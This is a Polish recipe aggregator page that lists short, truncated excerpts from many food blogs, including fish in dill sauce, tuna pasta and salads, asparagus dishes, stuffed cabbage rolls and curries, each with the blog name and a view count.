Kulinarnyblog.pl - wiesz jak gotować!
Dorsz w sosie śmietanowo- koperkowym ze szparagami 183

Sezon szparagowy w pełni. Dzisiaj proponuję przepis na pysznego dorsza w sosie śmietanowym ze szparagami. Potrawa jest szybka i łatwa do przygotowania. Można ją podać z młodymi ziemniakami. SKŁADNIKI: 2 płaty dorsza, 1 cebula, ½ wiązki zielonych szparagów, 150 ml śmietany 30%, ½ pęczka koperku, 2 łyżki masła, sól, pieprz. PRZYGOTOWANIE: 1. Szparagi gotuję na półtwardo w osolonej wodzie. Wyjmuję i kroję

Tradycyjna kuchnia Kasi
Panini z tuńczykiem, jajkiem, mango i awokado 221

pyszna i zdrowa propozycja, która sprawdzi się nie tylko jako 'całodobowa' potrawa, ale i piknikowa, solidna przekąska. 3 bułki panini: * bułka typu panini- 3 szt. * tuńczyk w kawałkach w sosie własnym Princes- 1 puszka, 185 g * jajka- 3 duże szt. * awokado- 2 szt. * mango- 1 mniejsze * sok z cytryny- 1/2 łyżeczki * rukola- 2 garści Ugotować jaja na twardo. Bułkę przekroić

Kraina Miodem Płynąca
Ziemniaczane kotleciki ze szczypiorkiem wg Aleex 191

obaj moi chłopcy. Od tego czasu przygotowuję je od czasu do czasu do obiadu. Doskonale sprawdzą się nie tylko z porcją mięsa. Będą smakować także z każdym rodzajem sosu. Naprawdę polecam. Składniki: • 5-6 ziemniaków • ½ szklanki startego żółtego sera • 1 pęczek szczypiorku • 1 łyżka mąki pszennej • 1 jajko • ¾ szklanki bułki tartej • olej do smażenia • sól, pieprz Sposób przygotowania: 1. Ziemniaki

W mojej kuchni
Zazie Bistro - francuska kuchnia w Krakowie 175

domowa lemoniada bazyliowo-miętowa (11 zł). Potem kolejno pojawiają się: kałamarnica z grilla podawana z sałatką z awokado, mango i czerwonej cebuli, z prażonymi migdałami i sosem z czosnku i mango (25 zł). Kałamarnica smakuje i wygląda obłędnie! Wszystko tu idealnie do siebie pasuje. Sałatka jest idealnie przyprawiona, a kałamarnica zrobiona w punkt. To danie doskonałe, a to dopiero początek

Kulinarne przygody Gatity
Surówka z sosem vinegrette 154

saszetki dressingu vinegrette od Folwark listki szczawiu wodnego Przygotowanie Sałatę szatkujemy. Papryczki w krążki. Paprykę czerwoną w paski. Pomidorki na ćwiartki, mniejsze na pół. Dymki siekamy. Całość polewamy sosem vinegrette, dekorujemy listkami szczawiu

R'n'G Kitchen
chaczapuri domowe :D 168

trzeba postąpić z tymi na patelni. Przekąska na każdą okazję. Na spotkania, imprezy. Można zabrać na obiad do pracy. Nadziewać można czym tylko się lubi. Fajnie do tego pasuje sos czosnkowy. Dziś nadziałam kurczakiem. Następnym razem zrobię z mięsem mielonym. Ciasto: * 50 dkg mąki pszennej * 3 dkg drożdży albo opakowanie suszonych * 150 ml wody * 150 ml mleka - ja dodałam maślankę

Pieprzyć z Fantazją
MAGIczne skrzydełka - skrzydełka maggi smażone 351

moich spostrzeżeń....Radziłabym unikać mocno przekrwionych skrzydełek. Może mięso z nich nadaje się do pasztetu, ale do tego rodzaju dania nie. Świetnie do skrzydełek w tym wykonaniu pasuje sos czosnkowy. Bajka! W ogóle, taka przekąska to bajka :D Polecam każdemu je zrobić :D I nie pozostaje mi nic innego jak życzyć smacznego :D Lidka skrzydełka magi

Pieprzyć z Fantazją
zawijane gołąbki w sosie pomidorowym :D 186

stronę, żeby nie spaliły się mocno z góry. Jak już się uduszą, odlewam wywar do garnka i dodaję przecier i koncentrat pomidorowy. Chwilkę się pogotuje i przyprawiam. Zalewam gołąbki sosem i włala :D Moje domowe gołąbki

Pieprzyć z Fantazją
wątróbka z dodatkami: pieczarką i jabłkiem w śmietanie 181

cebulkę. Jak już zaczęły łapać kolor, podlałam śmietaną. Tylko chwilkę przemieszałam i odstawiłam z ognia. W tym czasie pilnowałam wątróbki. Podlałam ją wodą, przez to zaczął mi się robić sos. Zawartość drugiej patelni przełożyłam do wątróbki i tak dusiłam aż już wszystko przejdzie swoim smakiem. Pod koniec przyprawiłam. Miałam przyprawę drobiową, to i podsypałam. Oczywiście pieprz ziołowy i kolorowy. Okazało

Pieprzyć z Fantazją
ryba z warzywami po chińsku 229

mąki ziemniaczanej z 1/2 szklanki wody i zagęściłam. Nie dawałam dużo mąki, ryzykuje się wtedy tym, że powstanie kisiel. Przyprawiłam solą i przyprawą do dań kuchni azjatyckiej. Nie miałam sosu sojowego i innych dodatków, ale jakoś dałam radę. Warzywa wyszły smaczne. W międzyczasie wyciągnęłam rybę z lodówki i lekko oprószyłam mąką. Usmażyłam na oleju. Do tego wszystkiego ugotowałam ryż. Myślę

Pieprzyć z Fantazją
faszerowana pieczona pierś z kurczaka :D 208

się przysnęło :P Jak jeszcze dobrze kontaktowałam ze światem przekręciłam mięso kilka razy, żeby równomiernie się opiekło i naszło smakiem masła :D Podałam z kluskami śląskimi, które polałam sosem, co powstał z pieczenia i surówką z kiszonej kapusty. Pyszne, nie za tłuste. Pierś z kurczaka może nie jest najfajniejsza do pieczenia, bo to dość chude mięso. Można łatwo wysuszyć. Człowiek

Pieprzyć z Fantazją
makaron z tuńczykiem w śmietanie 242

żebym tuńczyka nie żałowała :D Normalnie wystarczy 1 puszka. Jedzenie bardzo pyszne i szybkie w wykonaniu. Potrzebowałam: * 300 g makaronu - akurat miałam kokardki * 2 puszki tuńczyka w oleju albo sosie własnym - miałam dwie różne puszki * 3 łyżki śmietany * niewielka cebulka * 3 ząbki czosnku * bazylia * natka pietruszki do posypania * sól, pieprz Makaron ugotowałam prawie aldente. Nie lubimy jak nam chrupie coś

Pieprzyć z Fantazją
makaron pełnoziarnisty z sosem szpinakowym 186

porę robi się zwyczajnie drewniany i żeby poczuć smak czosnku należy go wcisnąć więcej. Jak już wszystko chwilkę się poddusiło dodałam serek śmietankowy a na koniec śmietanę. Gdy sos już był gotowy przyprawiłam solą i pieprzem. Akurat ugotował się makaron i po odcedzeniu wyłożyłam na patelnię ze szpinakiem i przemieszałam. Jeszcze gorące wyłożyłam na talerze. Z czosnkiem nie przesadziłam

Pieprzyć z Fantazją
makaron z tuńczykiem w pomidorach 157

cebulkę i poddusiłam, następnie tuńczyka z puszki. Przecisnęłam przez praskę czosnek i wszystko kilka minut razem bulgotało. Wspomnę, że w tym czasie gotował się już makaron. Na koniec do sosu dodałam puszkę pomidorów. Gdy zaczęło się już gotować dosypałam zioła prowansalskie. Soliłam na końcu, gdyż tuńczyk z puszki już ma trochę soli. Popieprzyłam i na chwilkę odstawiłam. Odcedziłam makaron

Pieprzyć z Fantazją
babka ziemniaczana 178

wytłuścić margaryną i wysypać bułką tartą, by masa nie przywarła. Piekłam moją babkę ziemniaczaną ok. 2 godzin w piekarniku nagrzanym do 180 stopni. Danie super na ciepło. Można polać sosem grzybowym, można podać ze śmietaną, można jeść solo. Smacznego! Lidka

Pieprzyć z Fantazją
sałatka z tuńczykiem i makaronem ryżowym 303

Różne produkty się znajdowały. Tuńczyk jakoś zahaczał mi o rękę...Stwierdziłam, że to znak jakiś i coś z niego zrobić trzeba :D Sałatka :D Składniki:  * puszka tuńczyka w sosie własnym lub oleju roślinnym * 8 dkg makaronu ryżowego * ogórek kiszony ok 2 sztuk * kukurydza * majonez * czerwona cebula * papryka * koperek * żółty ser * sól, pieprz Tuńczyka odcedziłam z zalewy. Makaron ugotowałam zgodnie

Pieprzyć z Fantazją
domowy swojski przecier pomidorowy 165

roku biorę większy rozmach. Zobaczymy ile dam radę przerobić. Jak dla mnie i rodziny jest to super sprawa. O pomidorówce już pisałam, można tego przecieru użyć do sosu spaghetti, pulpecików, fasolki po bretońsku. Jak kto lubi :D A ten smak i aromat! Niebo! Polecam poświęcić chwilkę dla takiego zajęcia. Potem to tylko będziemy słyszeć ochy i achy jak będą pałaszować

Pieprzyć z Fantazją
sałatka z soczewicą i pieczarkami 244

zrobiłam taki smakołyk. Pomyślałam, że napiszę od razu o tej sałatce dopóki pamiętam składniki :D Smak bardzo podkreśla zielona czubrica. Warto ją mieć w domu. Ja jej używam do sosu czosnkowego  tutaj a że często go robię, to zawsze mam ją na stanie :D Na zbliżające się święta Wielkanocne jeden pomysł już mam :D Pozdrawiam serdecznie i życzę miłego

Pieprzyć z Fantazją
jajka faszerowane tuńczykiem 203

pojawiły się jaja faszerowane tuńczykiem z puszki. Proste w wykonaniu. Znikły z talerza szybciej niż je na niego wyłożyłam :D Składniki: * 6 jajek ugotowanych na twardo * puszka tuńczyka w sosie własnym * niewielka czerwona cebulka * 2 łyżki majonezu * sól, pieprz Podobnie jak w przypadku jaj faszerowanych łososiem, przekroiłam na pół, wyciągnęłam żółtka i utarłam je na jednolitą masę. Dodałam odsączonego tuńczyka

Pieprzyć z Fantazją
sałatka z tuńczykiem i makaronem ryżowym 274

Różne produkty się znajdowały. Tuńczyk jakoś zahaczał mi o rękę...Stwierdziłam, że to znak jakiś i coś z niego zrobić trzeba :D Sałatka :D Składniki:  * puszka tuńczyka w sosie własnym lub oleju roślinnym * 8 dkg makaronu ryżowego * ogórek kiszony ok 2 sztuk * kukurydza * majonez * czerwona cebula * papryka * koperek * żółty ser * sól, pieprz Tuńczyka odcedziłam z zalewy. Makaron ugotowałam zgodnie

Pieprzyć z Fantazją
skrzydełka magi - smażone 160

moich spostrzeżeń....Radziłabym unikać mocno przekrwionych skrzydełek. Może mięso z nich nadaje się do pasztetu, ale do tego rodzaju dania nie. Świetnie do skrzydełek w tym wykonaniu pasuje sos czosnkowy. Bajka! W ogóle, taka przekąska to bajka :D Polecam każdemu je zrobić :D I nie pozostaje mi nic innego jak życzyć smacznego :D Lidka skrzydełka magi

Pieprzyć z Fantazją
Pieczone udka z tymiankiem i oregano 225

papierowym ręcznikiem. 2. Składniki marynaty połączyć, dokładnie natrzeć nią mięso. 3. Piec w 200 st.C przez 60-70 minut. Od czasu do czasu należy polać udka powstałym podczas pieczenia sosem. Smacznego!!! Źródło: Kwestia smaku

Kuchnia domowa Ani
Mizeria z ogórków i rzodkiewki 227

rzodkiewki  albo ogórek i wyszło dwa w jednym . Super dodatek do obiadu. Składniki 2 ogórki  1 pęczek rzodkiewki  1 pęczek szczypiorku sól pieprz 1 łyżeczka sosu sałatkowego koperkowo ziołowy  3 łyżki śmietany 18% Sposób przygotowania przepisu: 1.  Ogórki i rzodkiewkę zetrzeć w plasterki na tarce , troszkę dodać soli zostawić aż puści sok i odcedzić . Potem

W królestwie smaków Beaty
ŻEBERKA GARAM MASALA 186

MINUT  (+ 12 GODZIN MARYNOWANIE) ORIENTACYJNA CENA POTRAWY: 10 ZŁ. ILOŚĆ PORCJI: 2-3 Składniki podstawowe: 60-70 dag żeberek wieprzowych (paski). Składniki marynaty: 2 łyżki oleju, łyżka ciemnego sosu sojowego, 2 płaskie łyżeczki przyprawy garam masala, 1/2 płaskiej łyżeczki soli. Przygotowanie: Mięso myję i osuszam, rozcinam na kawałki. Z podanych składników przygotowuję marynatę. Mięso dokładnie nacieram marynatą, odkładam

JejKuchnia
Naleśniki ze szparagami i jajkiem w koszulce! Przepyszne 189

się smażyć a nie dusić! Smażymy przez 3 do 5 minut pod sam koniec dodajemy syrop z agawy i dwie szczypty soli.  Szparagami układamy na naleśnikach i polewamy sosem z patelni. Jajko gotujemy tzw. jajko w koszulce. Nie wiesz jak to zrobić? W rondelek wlej wodę, posól odrobinę, zagotuj, zmniejsz gaz lub wartość na płycie. Woda ma się pyrkolić

SMYKWKUCHNI
Sałatka z młodych ziemniaków, szparagów i rzodkiewek 201

jeden kęs, gotujemy w lekko osolonym wrzątku do miękkości 4. Olej lub oliwę mieszamy z octem i miodem, doprawiamy solą i pieprzem 5. Wszystie warzywa przekładamy do miski, polewamy sosem i oprószamy posiekanym koperkiem i dymką, podajemy jeszcze ciepłe

Słodki Kompromis
Ziemniaki zapiekane z boczkiem i żółtym serem 221

solą oraz świeżym tymiankiem. Wkładamy do piekarnika nagrzanego na 180 stopni na grzanie góra i dół, ostatnie 10 minut przełączamy na termoobieg. Wyciągamy i podajemy na ciepło np. z sosem czosnkowym. Smacznego

Kolizje Smaków
Wiosenny chłodnik z dzikimi szparagami, tuńczykiem, czarną quinoą i buraczanym "kawiorem" 184

szparagi. Kropką nad i jest koperek i "kawior" z agaru i soku z kiszonych buraczków. Pyszności :) polecam.  Składniki: pół szklanki ugotowanej czarnej quinoy 1 puszka tuńczyka Princes w sosie własnym 2 smaczliwki (awokado) 500 ml jogurtu naturalnego 1 ogórek gruntowy pół małego pęczka koperku sok z połowy cytryny  garść dzikich szparagów 2 rzodkiewki do ozdoby 100 ml soku

Quinoa Raz!
Szpinakowo-bazyliowe ptysie z tuńczykiem, twarożkiem i warzywami 245

szczypta soli ziołowy twarożek: 200 g kremowego twarożku naturalnego pół pęczka posiekanego cienkiego szczypiorku łyżka listków bazylii cytrynowej sól i pieprz do smaku dodatkowo: puszka tuńczyka w kawałkach, w sosie własnym Princes zielony ogorek kilka rzodkiewek kilka plasterów jalapeno z zalewy Masło z sokiem i szczyptą soli doprowadzamy do wrzenia w średnim garnku. Zmniejszamy ogień i wsypujemy przesianą mąkę. Energicznie

Mienta blog
Carbonara ze szparagami 192

Kolejny raz postanowiliśmy w naszym daniu wykorzystać szparagi. Carbonara ze szparagami to dość nietypowe połączenie składników – kto by się spodziewał, że boczek, szparagi i jajko

Kulinarnyblog.pl - wiesz jak gotować!
schab w sosie cebulowym 160

Czasami zwykły schabowy nie wystarczy, czasami zwykły sos również nie wystarczy. A gdy sami nie wiemy co chcemy czasami najprostsze pomysły są najlepsze. Już kilka razy robiłam schab na cebuli. Tym razem schab i cebula również będą razem  jednak dodatek śmietany będzie górował nad tym towarzystwem.  Składniki: schab - kilka plastrów 2 cebule - mogą być duże jeśli lubimy dużo

Gotowanie z pasją
Pieczone gołąbki z młodej kapusty 248

się coraz więcej świeżych warzyw i owoców wykorzystaliśmy do naszych gołąbków młodą kapustę. Gołąbki były pieczone pod przykryciem  w piekarniku, dzięki temu uzyskały wyrazisty smak. Aromatyczny pomidorowo - ziołowy sos był idealnym dodatkiem do tego dania. Składniki: - 1 kg mięsa wołowo - wieprzowego. - 1 woreczek ryżu parboiled - średniej wielkości 1 młoda kapusta - 3 cebule - przecier pomidorowy - sól, pieprz - zioła suszone: łyżeczka

Pan i Pani Smith w kuchni
Duszone polędwiczki w sosie własnym. 1568

kostkę cebule. Następnie polędwiczki przekładamy na patelnie posypujemy papryką, majerankiem i zalewamy wodą. Po jakimś czasie polędwiczki obracamy. Dusimy pod przykryciem aż mięso będzie miękkie. Na koniec powstały sos doprawiamy solą, pieprzem do smaku i przecedzamy przez sitko. Podajemy z ziemniakami i ulubionym dodatkiem. Smacznego

Magia jedzenia.
Sałatka z pieczonej dyni piżmowej i buraka 205

poszatkowaną bazylię oraz koper. Na patelni prażymy pestki dyni, pestki słonecznika oraz orzechy nerkowca. Dodajemy do warzyw. Jogurt mieszamy ze zmiażdżonym czosnkiem, solą i pieprzem. Przed podaniem sałatkę polewamy sosem jogurtowym sałatkę

Qchnia po prostu
Curry z kurczakiem i dynią 210

Curry to indyjska potrawa oznaczająca ni mniej, ni więcej, jak warzywa, mięso, ryby, lub inny główny składnik dania przyrządzany w sosie. To dla mnie także synonim przepysznie rozgrzewającej potrawy, gdyż najbardziej lubię bardzo ostrą wersję tego dania. Jednak curry to jednocześnie raczej lekki posiłek, więc świetnie sprawdzi się o każdej porze roku. Dzisiejsza propozycja zakłada użycie dyni, która oczywiście jest

Pichceniomania
Filet z pstrąga Yuan Yaki 174

wielu dietetyków, jako ryba nisko kaloryczna, pożywna i zawierająca wiele substancji odżywczych. Filet z pstrąga Yuan Yaki. Składniki: – filety pstrąga łososiowego Marynata – proporcje 1:1:1 – sos sojowy – mirin – sake – 1 limonka lub cytryna Dodatkowo (dekoracja): – rzodkiewki – fenkuł – świeży tymianek – płatki szalotki – natka pietruszki – chilli nitki – pieprz

mojewypiekiinietylko
Sałatka z awokado 225

jako pastę do smarowania pieczywa… i nie tylko. Samo awokado ma dość mdły i niewyrażny smak, dlatego warto je wzbogacić dodatkowymi składnikami i przyprawami. Jak dla mnie idealnie pasuje sos sojowy, sok z cytryny, kropla – dwie oleju sezamowego i… to wszystko. Ale ja jestem smakoszem awokado i nie przeszkadza mi jego naturalny smak. Wersja wzbogacona – Sałatka z awokado. Składniki

mojewypiekiinietylko
Śledzie z kurkami marynowanymi 242

śledzia… i nie tylko. Gorąco polecam i życzę smacznego.   Śledź w roli głównej – przepisy na blogu: Śledzie iwasi w oleju, z różowym pieprzem Śledzie po japońsku Śledzie w sosie jogurtowo majonezowym Śledzie bazyliowo czosnkowe Śledzie w oleju Barszcz śledziowy Śledzik Wydrukuj przepis The post Śledzie z kurkami marynowanymi appeared first on Moje Wypieki I Nie Tylko

mojewypiekiinietylko
Warstwowa sałatka bankietowa z tuńczykiem 237

sera, która w mgnieniu oka rozchodzi się na każdej imprezie i równie szybko znika z talerza w postaci drugiego śniadania. Składniki: 2 puszki po 185g tuńczyka w kawałkach w sosie własnym Princes 1 puszka kukurydzy konserwowej 1 brokuł 6 jajek 1 czerwona papryka 1/2 pęczku szczypiorku 140g żółtego wędzonego sera sól cukier pieprz Wykonanie: 1. Tuńczyka i kukurydzę odsączyć

Szalona Kuchnia Eweliny
CEBULKA DO BURGERÓW 121

tego przepisu to idealny dodatek, nie tylko do bułki z mięsem. Składniki (na ok 2 burgery): 500g cebuli szczypta soli 3 łyżki ketchupu 2 łyżki miodu 1 łyżeczka sosu sojowego sok z 1 pomarańczy (ok 5 łyżek) szczypta pieprzu cebulę pokrój w półplasterki, przełóż na patelnię [...] Artykuł CEBULKA DO BURGERÓW pochodzi z serwisu sandrafrej.com

SandraFrej.com
Dufinki Ziemniaczane Z Tuńczykiem, Serem I Botwinką 189

łodygi botwiny z liśćmi 2-3 plastry sera żółtego pokrojonego na drobna kostkę 1/3 główki cebuli poszatkowanej bardzo drobno 1/2 puszki tuńczyka w kawałkach w oleju lub w sosie własnym Princes (185 g) sól, pieprz do smaku Panierka: 1 małe jako kl M mąka kukurydziana lub pszenna buła tarta olej do smażenia 1. Ugotowane ziemniaki przeciskamy przez prasę bądź tłuczemy

Gotowanie...to proste !
Pide - turecka pizza 191

końce zlepić lub po prostu zawinąć. Tak właśnie zrobiłam. Na górze rozłożyć plasterki mozzarelli piec na kamieniu w 250`C 8-10 minut, do zrumienienia podawać gorące z ulubionym sosem, ale same też są pyszne

Gotuj zdrowo!Guten Appetit!
Pulpety rybne w sosie koperkowym 172

Pyszne rybne pulpety w aromatycznym koperkowym sosie. Szybko się je robi i jeszcze szybciej zjada. Taka propozycja posmakuje wszystkim którzy lubią ryby ;) Danie idealne nie tylko dla dzieci. Dorośli również będą sięgać po kolejne kulki, możecie być tego pewni ;)  Jeśli chodzi o rybę to macie tu pełną dowolność, wybierzcie tę która jest waszą ulubioną. propozycja podania pulpetów również

Życie zaczyna się w kuchni
Wegański makaron z truskawkami (bez śmietany i mleka) 314

domowej ) Makaron gotujemy do miękkości. Truskawki myjemy, obrywamy szypułki i przekrawamy na połówki lub ćwiartki. Truskawki mieszamy dokładnie ze śmietaną kokosową. Całość można dosłodzić do smaku. Ugotowany makaron polewamy sosem z truskawkami. Gotowe

Dieta bez mleka
Muffinki cytrynowe 215

Kupiliście za dużo cytryn? Pewnego dnia miałam ten sam problem. Owoce kupione, a długo nie poleżą. Do herbay, do mojito zamiast limonki, do sosu, a one wcale nie ubywają. Jedna największa znalazła zastosowanie w wypieku na słodko. Mocno cytrynowe i wilgotne, idealne do kawy na tarasie. I oczywiście nie tylko :) Składniki (12 sztuk) -2 szkl. mąki pszennej -1/2 szkl

Zielona Kuchnia
Wiosenne spaghetti z cukinią 163

cieniutkie paseczki idealnie łączy się z nitkami spaghetti. Cytryna nadaje całości wiosennej świeżości i lekkości. Dodatek parmezanu dodaje potrawie włoskiego charakteru. A ponieważ nie znajdziemy tu ciężkich kremowych sosów, jedynie oliwę, makaron jest idealny na lekki wiosenny obiad :)  Buon appetito! WIOSENNE SPAGHETTI Z CUKINIĄ Czas przygotowania 15 minut Makaron pełnoziarnisty Pół dużej cukinii Sok z połówki cytryny Starty parmezan

HealthyCreations
Szparagi zapiekane pod beszamelem 224

prosty i sprawdzony przepis na ich wykonanie. Gorąco polecam :) Składniki: 1 wiązka zielonych szparagów 2 średnie pomidory 1/2 papryczki chili 1 kulka sera mozzarella 3 jajka sól do smaku Sos beszamel: 1 łyżka maki 1 łyżka masła około 3/4 szklanki mleka 50 g sera morskiego 1/2 łyżeczki gałki muszkatołowej sól do smaku 1 łyżka masła Sposób przygotowania: Szparagi umyć

Gosia gotuje
Spaghetti ze szparagami i brokułami 121

ognia i energicznie mieszając połączyłem ze śmietaną. Doprawiłem do smaku. Spaghetti ugotowałem al`dente w osolonej wodzie. Odcedziłem, zachowałem pół szklanki wody z gotowania. Gorący makaron połączyłem z sosem i odcedzonymi warzywami. Dolałem trochę wody z gotowania makaronu. Posypałem startym serem oraz prażonymi orzeszkami piniowymi i pozostałymi ziołami. Podałem natychmiast

R'n'G Kitchen
Szaszłyki z kiełbasą 191

jedynie co to ogranicza nas wyobraźnia. Dziś przygotowałam szaszłyki, które możemy przygotować dosłownie w kilka minut. Składniki · Kiełbasa na grilla · 1 cukinia · Pomidorki koktajlowe · Sałata · Ketchup · Przyprawa do szaszłyków · Sos czosnkowy Wykonanie

Kulinarne pyszności Molki
Pasta jajeczna z tuńczykiem i oliwkami. 150

zabraknąć :) Tym razem tuńczyk w połączeniu z jajkami, z dodatkiem oliwek i cebulki. Do tego świeżutki chrupiący chlebek i cóż trzeba więcej :) Składniki: 3 jajka 1 puszka tuńczyka w sosie własnym 10 szt. oliwek zielonych 1/4 cebuli czerwonej 1 łyżeczka musztardy 1 łyżka majonezu sól, pieprz Wykonanie: Jajka ugotować na twardo, zetrzeć na tarce o drobnych oczkach. Tuńczyka odsączyć

Agusiowe smakołyki
LEKKA SAŁATKA Z SELEREM NACIOWYM, KURCZAKIEM I JAJKIEM (redukcja, keto, LCHF, paleo, optymalna, bez glutenu i laktozy) 338

twardo, obrać i pokroić w kostkę lub ćwiartki. Olej MCT lub inny tłuszcz wymieszać z musztardą/majonezem/śmietaną – w zależności od docelowego makro. Wszystkie składniki wymieszać polewając przygotowanym sosem lub czystym tłuszczem i doprawić do smaku. Smacznego! — BTW całości w wersji na redukcji z olejem MCT: 1185 g, 1424 kcal

Ola la LCHF
Tradycyjne curry z kurczaka 204

kurczaka z przepisu Mriduli Baljekar należy do moich ulubionych. Kiedy mieszkałam w Arabii Saudyjskiej miałam okazję poznać domową kuchnię indyjską z różnych regionów subkontynentu, a  kurczak w sosie curry był jednym z najpopularniejszych dań. Moja sąsiadka z compoundu Panchami Bejbarua pochodzi z Assam, Dinesh Soman z Kerali, więc niejednokrotnie tą samą potrawę przygotowywali nieco inaczej. Część przepisów udało

Kulinaria - potrawy z różnych stron świata
Makaron z ricottą, cytryną i bazylią 250

wyciśnięty z cytryny (1 łyżkę) oraz pozostawioną wodę z gotowania makaronu (1/4 szklanki). Przyprawić solą (3/4 łyżeczki) i pieprzem (1/8 łyżeczki). Dokładnie wymieszać. Do gorącego, odcedzonego makaronu wlać sos i bardzo dobrze wymieszać. Makaron podawać gorący, bezpośrednio po przygotowaniu. SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzi porcja dla 2 osób. Makaron przygotowany według tego przepisu ma orzeźwiający, lekko cytrusowy

Gospodyni Miejska
Placki z młodej kapusty z ziemniakami 1115

wbić jajka, przyprawić do smaku solą i pieprzem i dokładnie wymieszać. Smażyć powoli na rozgrzanym oleju z obu stron na złoty kolor. Podawać z  kwaśną śmietaną lub dowolnym sosem

Tradycyjna Kuchnia
Pomidory faszerowane wiosenną sałatką z tuńczykiem. 168

majonezu użyłam jogurt naturalny. Spróbujcie koniecznie, a przekonacie się, że będzie pysznie. Zapraszam :) Składniki: 4 duże pomidory 1 kulka sera mozzarella (125 g ) 1 puszka tuńczyka w kawałkach w sosie własnym Master Tuńczyk kilka liści zielonej sałaty kilka rzodkiewek 1 ogórek gruntowy 2 łyżki jogurtu naturalnego typu greckiego sól do smaku pieprz czarny mielony do smaku szczypiorek według uznania Wykonanie

Izabelawkuchni
Kruche tartaletki z tuńczykiem i jajecznicą. 206

Zapraszam :) Składniki: Ciasto: 1 szklanka mąki tortowej 10 dag masła lub margaryny pół małej łyżeczki soli 1 duże jajko Nadzienie: 6 dużych jajek 1 puszka tuńczyka w kawałkach w sosie własnym Master Tuńczyk masło do smażenia sól do smaku pieprz czarny mielony do smaku szczypiorek według uznania Dodatkowo: mąka pszenna do posypania stolnicy Wykonanie: 1. Ciasto: Z podanych składników zagniatamy

Izabelawkuchni
Sałatka z jajek, pomidorów, mozzarelli i czerwonej cebuli 514

drobno siekamy. Na półmisku naprzemiennie rozkładamy plasterki pomidora, cebuli, jajka oraz mozzarelli. Oprószamy całość solą oraz niewielką ilością pieprzu i suszonej bazylii. Posypujemy szczypiorkiem. W kilku miejscach rozkładamy przygotowany sos. Podajemy od razu po przygotowaniu. Źródło

Smaki Na Talerzu
Placuszki z cukinii z tuńczykiem i rzodkiewką 161

łyżka stołowa na 1 placuszek.) Placki smażyć z obu stron na lekko złoty kolor , a następnie odsączyć z nadmiaru tłuszczu na ręczniku kuchennym.  Podawać solo lub z ulubionym sosem. Tuńczyk to źródło pełnowartościowego białka czy niezbędnych nienasyconych kwasów tłuszczowych.  Dostarcza witaminy B, A i D, fosfor, żelazo i na dodatek jest fit!  To doskonała baza do sałatek

Di gotuje
Domowa Pizza Peperoni 188

kaszą manną blachę.   Ciasto smarujemy koncentratem , posupujemy solą i pieprzem , serem tartym .  Kładziemy składniki.  Pieczemy ok 20 min w 180 stopniach .  Podajemy z ulubionym sosem i np.  świeżą rukolą

Gotowanie Patki
Pizza ze szparagami, marchewką i twarożkiem 245

warzywami . Nie czepiajcie się jednak nazwy, ale lećcie do kuchni i też sobie taki placek upieczcie. Jest pyszny! Cienkie, drożdżowe ciasto . Na nim delikatne, słodkie warzywa i warstwa białego sosu z twarożku. To doskonałe połączenie. Taka pizza z warzywami i białym serem smakuje wybornie zarówno na gorąco jak i na zimno. Jest po prostu pyszna i do tego łatwa

Smaczna Pyza
Pikantne leczo z cukinią 1950

być miękka, ale chrupiąca – nie dopuśćmy do tego, aby całkowicie się rozgotowała. Leczo z cukinii oczywiście będzie tak samo smaczne, jednak pozbawione tej ciekawej struktury. Do stworzenia aromatycznego sosu w leczu, użyłam świeżych, malinowych pomidorów, możecie jednak śmiało przygotować danie z użyciem przecieru pomidorowego z kartonika lub pomidorów z puszki. Zobacz też: Leczo z dynią i papryką Warzywne leczo

Kuchnia Bazylii
Tagliatelle z łososiem i szparagami 177

kolejna ciekawa odsłona makaronu bez kalorycznych sosów. Dla wielbicieli szparagów i łososia to strzał w dziesiątkę. Składniki na tagliatelle z łososiem i szparagami (3 porcje): makaron tagliatelle 200 g wiązanka zielonych szparagów łosoś 300 g kilka świeżych listków bazylii cebula ząbek czosnku sól pieprz łyżeczka soku z cytryny Łososia umyć i ułożyć na papierze do pieczenia. Polać sokiem z cytryny

Karola gotuje
Wiosenna sałatka z tuńczyka i awokado w domowych bułkach. 192

jajko około pół szklanki ciepłego mleka Dodatkowo: mąka pszenna do posypania stolnicy 1 małe żółtko masło do posmarowania blaszki Pasta: 1 awokado 1 puszka tuńczyka w kawałkach w sosie własnym Master Tuńczyk 4 jajka ugotowane na twardo pół pęczka rzodkiewek pół pęczka szczypiorku 3-4 łyżki jogurtu naturalnego typu greckiego sól do smaku pieprz czarny mielony do smaku

Izabelawkuchni
Tatar z tuńczyka podany na ziemi leśnej. 192

zdrowe i co ważne fit.Pyszny tatar z tuńczyka podany na ziemi z lasu.#MasterTuńczyk składniki 1 opakowanie tuńczyka Princess 1 cebula czerwona 1 ogórek kiszony 1 papryka czerwona marynowana sos 1 łyżka musztardy 1 łyżka glassy balsamicznej Dekoracje grzybki marynowane 1 papryka

Kulinarne pyszności Molki
Rolada z tuńczykiem 196

rożnych składników, dla wzmocnienia smaku dodajemy zioła. Mając w domu makaron i tuńczyka wybór był jeden. Rolada z tuńczykiem :)#MasterTuńczyk Składniki 100g makaronu świderki 1 opakowanie tuńczyka w sosie własnym Prinnses 1 jajko Papryka czerwona Skórka z cytryny Świeże zioła Sól, pieprz do smaku

Kulinarne pyszności Molki
Boczek z grilla 327

jałowy i niejadalny. W moim przepisie marynata do boczku bazuje na musztardzie oraz ketchupie z dodatkiem kilku przypraw. Zobacz też: Szaszłyki caprese – idealne na grilla Sałatka z pieczarkami marynowanymi Sos tzatziki – do mięs, na grilla Przepis na boczek z grilla Drukuj przepis Porcji: 6 Składniki 400 g boczku łyżka musztardy łyżka ketchupu łyżeczka czosnku granulowanego łyżeczka soli pół łyżeczki pieprzu

Kuchnia Bazylii
Kokosowa kasza manna z karmelizowanym rabarbarem 201

wlać do garnuszka i podgrzewać na małym ogniu aż wytworzy się jasnozłoty karmel (nie mieszać!). Wówczas dodać rabarbar i na małym ogniu gotować aż rabarbar zmięknie i wytworzy się sos. Na koniec dodać szczyptę cynamonu do smaku. Gorący rabarbar wyłożyć na kaszę manną

My simple kitchen
Gotowanie z Poltino i Szybki makaron z brokułami 184

czosnek, gdy już puszczą zapach dodajemy mięso i dokładnie je obsmażamy, doprawiamy pieprzem. Dodajemy nasze brokuły oraz suszone pomidory, dolewamy wodę i całość dusimy, w ten sposób uzyskamy sos, który i tak nam zostanie po dodaniu makaronu. Dodajemy ugotowany makaron, mieszamy i gotowe. Pakujemy do pudełeczka do pracy, podajemy na obiad – tu już wybór należy do Ciebie :) Gotowanie

Kuchnia na wzgórzu
Farfalle a la caprese 181

